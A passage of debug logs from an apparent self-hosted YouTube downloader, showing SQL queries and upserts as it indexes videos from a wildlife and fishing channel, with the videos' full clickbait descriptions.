=> "FzYbHf2jmM0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FzYbHf2jmM0", "playlist_index" => 11, "timestamp" => 1752329028, "title" => "I Searched 100 Sewers, Here’s What I Found…", "upload_date" => "20250712"} 08:29:26.333 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=545.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:26.334 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=546.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:26.337 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=547.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-12 14:03:48Z], 33] 08:29:26.338 [debug] QUERY OK source="media_items" db=0.7ms idle=549.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "ab929cf5-944f-48ea-9e6a-be3101507768", "FzYbHf2jmM0", false, "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, [], 871, false, 11, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, false, 98, ~U[2025-07-12 14:03:48Z], ~U[2026-06-02 12:29:26Z], ~U[2026-06-02 12:29:26Z], "In today’s video I explore 100 different sewers to see what crazy creatures I can find living inside of them! However it’s not going to be easy, because these sewers are home to tons of deadly animals including alligators, snakes, monster turtles, venomous stonefish, and so much more! But the risk is going to be worth it because these sewers are also known to have extremely rare animals inside of them, so make sure to watch till the end to see what we found!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Searched 100 Sewers, Here’s What I Found…", "FzYbHf2jmM0", "https://www.youtube.com/watch?v=FzYbHf2jmM0", 33, 871, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e071200 - I Searched 100 Sewers, Here’s What I Found….mkv", false, ~U[2025-07-12 14:03:48Z]] 08:29:26.338 [debug] QUERY OK source="sources" db=0.2ms idle=78.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:26.338 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:26.339 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118978] 08:29:26.339 [debug] Current batch of media processed. Will check again in 1000ms 08:29:27.340 [debug] Current batch of media processed. Will check again in 1000ms 08:29:28.341 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 1220, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", "id" => "bTxhjc8_xqQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bTxhjc8_xqQ", "playlist_index" => 12, "timestamp" => 1751112021, "title" => "I Found The Deadliest Sea Creatures On The Dark Web!", "upload_date" => "20250628"} 08:29:28.342 [debug] QUERY OK source="sources" db=0.2ms idle=554.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:28.342 [debug] QUERY OK source="sources" db=0.1ms idle=554.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:28.343 [debug] QUERY OK source="media_items" db=0.9ms idle=555.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-28 12:00:21Z], 33] 08:29:28.345 [debug] QUERY OK source="media_items" db=1.2ms idle=556.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "26cbbecc-4349-4515-ab7f-fc5586740f54", "bTxhjc8_xqQ", false, "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, [], 1220, false, 12, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, false, 98, ~U[2025-06-28 12:00:21Z], ~U[2026-06-02 12:29:28Z], ~U[2026-06-02 12:29:28Z], "In today’s video, I buy the deadliest sea creatures off the dark web including sharks, venomous stonefish, eels, alien fish, and so much more! I started off by ordering an alien fish mystery box and inside were 2 slimy sea creatures i’ve never seen before! But we’re gonna need to buy a lot more animals in order to fill up my entire garage, so I ordered some more packages… Next I found a venomous lionfish, a pufferfish, and a weird mystery fish that had legs! Things were starting to pick up and we were buying sea creatures left and right, including a mantis shrimp, a monster eel, and some more alien fish! But I felt like I was missing something, and that was a shark! So I found a sketchy website that was selling one and I bought it, but that would turn out to be a mistake because the shark showed up dead… After being scammed I decided to buy a monster fish mystery box, and inside was a lion fish, a panther grouper, a giant zebra eel, and a bunch of other monster fish! Suddenly 3 more packages arrived and inside was super rare starfish, and a bunch of jellyfish! I then came across a listing online of someone selling a stonefish, which is the most venomous fish in the world! I went ahead and bought it and a few days later it showed up, and it was the biggest one i’ve ever seen! Luckily I was able to get him into an aquarium without getting stung, and then it was time to open up the next box, which was the craziest one so far! Inside of this box was tons of different anglerfish, but sadly some of them didn’t make it. But we were still able to save 4 of them including rare red and green ones! After buying a sea urchin mystery box, and a creepy sea slug mystery box, it was time to buy some monster fish! I managed to get 2 huge dragon eels out of a mystery box, but we were still missing a shark…So I found another website claiming to sell one and I bought it! And only a few days later it showed up, and we finally got a pet shark! Comment down below what animals we should buy for a part 2!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The Deadliest Sea Creatures On The Dark Web!", "bTxhjc8_xqQ", "https://www.youtube.com/watch?v=bTxhjc8_xqQ", 33, 1220, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e062800 - I Found The Deadliest Sea Creatures On The Dark Web!.mkv", false, ~U[2025-06-28 12:00:21Z]] 08:29:28.345 [debug] QUERY OK source="sources" db=0.2ms idle=82.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:28.346 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:28.346 [debug] QUERY OK source="media_items" db=0.3ms idle=3.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118979] 08:29:28.346 [debug] Current batch of media processed. Will check again in 1000ms 08:29:29.347 [debug] Current batch of media processed. Will check again in 1000ms 08:29:30.348 [debug] Current batch of media processed. Will check again in 1000ms 08:29:31.349 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "duration" => 2451, "filename" => "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", "id" => "J-STRAtlMwM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=J-STRAtlMwM", "playlist_index" => 13, "timestamp" => 1748693114, "title" => "I Found an Abandoned Pet Shop!", "upload_date" => "20250531"} 08:29:31.350 [debug] QUERY OK source="sources" db=0.2ms idle=1562.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:31.350 [debug] QUERY OK source="sources" db=0.2ms idle=1562.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:31.352 [debug] QUERY OK source="media_items" db=1.2ms idle=1563.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-31 12:05:14Z], 33] 08:29:31.358 [debug] QUERY OK source="media_items" db=5.5ms idle=1086.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "28c1a368-2469-4873-a09d-3820f065f078", "J-STRAtlMwM", false, "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, [], 2451, false, 13, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, false, 98, ~U[2025-05-31 12:05:14Z], ~U[2026-06-02 12:29:31Z], ~U[2026-06-02 12:29:31Z], "In today’s video, I find an abandoned pet store that is still filled with tons of animals including fish, snakes, lizards, insects, bunnies, turtles, and so much more! And since no one is taking care of them, it’s my mission to save them all! So I started off by netting around in a pond that is full of monster fish! I was able to catch a bunch of big catfish, clown knife fish, and even an albino lungfish! After saving them I headed over to the next enclosures and I managed to find bearded dragons, corn snakes, and a bunch of other lizards and frogs i’ve never seen before! But things started to get a lot crazier when I found some venomous lionfish… I carefully netted them out and I moved onto the next enclosure which was home to 2 baby prairie dogs, which are extremely rare! But there was still so many animals we needed to save so I kept going and I was able to catch some turtles, chameleons, and more scary snakes! After that I noticed a really big lizard inside one of the cages, and it was an asian water monitor! But he was super aggressive so I had to be very careful catching him out… As I kept going I found more geckos, skinks, hermit crabs, tree frogs, and so much more! But then I stumbled upon the craziest animal so far, a frilled dragon! These guys are super rare and very expensive, this store was literally selling it for $1,500! Sadly the frilled dragon had a broken back but it was still alive and that’s all that matters! I kept exploring the pet store and I managed to save a couple bunnies, and even baby snapping turtles… But things got really scary when I came across the insects. There was tons of tarantulas, centipedes, scorpions, and so many other crazy creatures which I had to save! But luckily next was a bunch of animals that were a lot less scary including axolotls, albino bullfrogs, tortoises, and even a baby hedgehog! But finally after exploring the entire pet store there was only one enclosure left, and it was home to the biggest and scariest animals so far! Inside was a bunch of giant snakes including 2 7 ft boa constrictors, and thankfully I was able to safely catch them out without getting bit! Comment down below which animals I should keep and which animals I should give away!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Pet Shop!", "J-STRAtlMwM", "https://www.youtube.com/watch?v=J-STRAtlMwM", 33, 2451, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e053100 - I Found an Abandoned Pet Shop!.mkv", false, ~U[2025-05-31 12:05:14Z]] 08:29:31.358 [debug] QUERY OK source="sources" db=0.2ms idle=90.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:31.358 [debug] QUERY OK source="media_profiles" db=0.2ms idle=8.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:31.359 [debug] QUERY OK source="media_items" db=0.3ms idle=8.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118980] 08:29:31.359 [debug] Current batch of media processed. Will check again in 1000ms 08:29:32.360 [debug] Current batch of media processed. Will check again in 1000ms 08:29:33.362 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In today’s video, I explore my backyard ponds to catch out sharks, piranhas, and a ton of other monster fish to bring to my brand new pond! I started netting around in the smallest of the 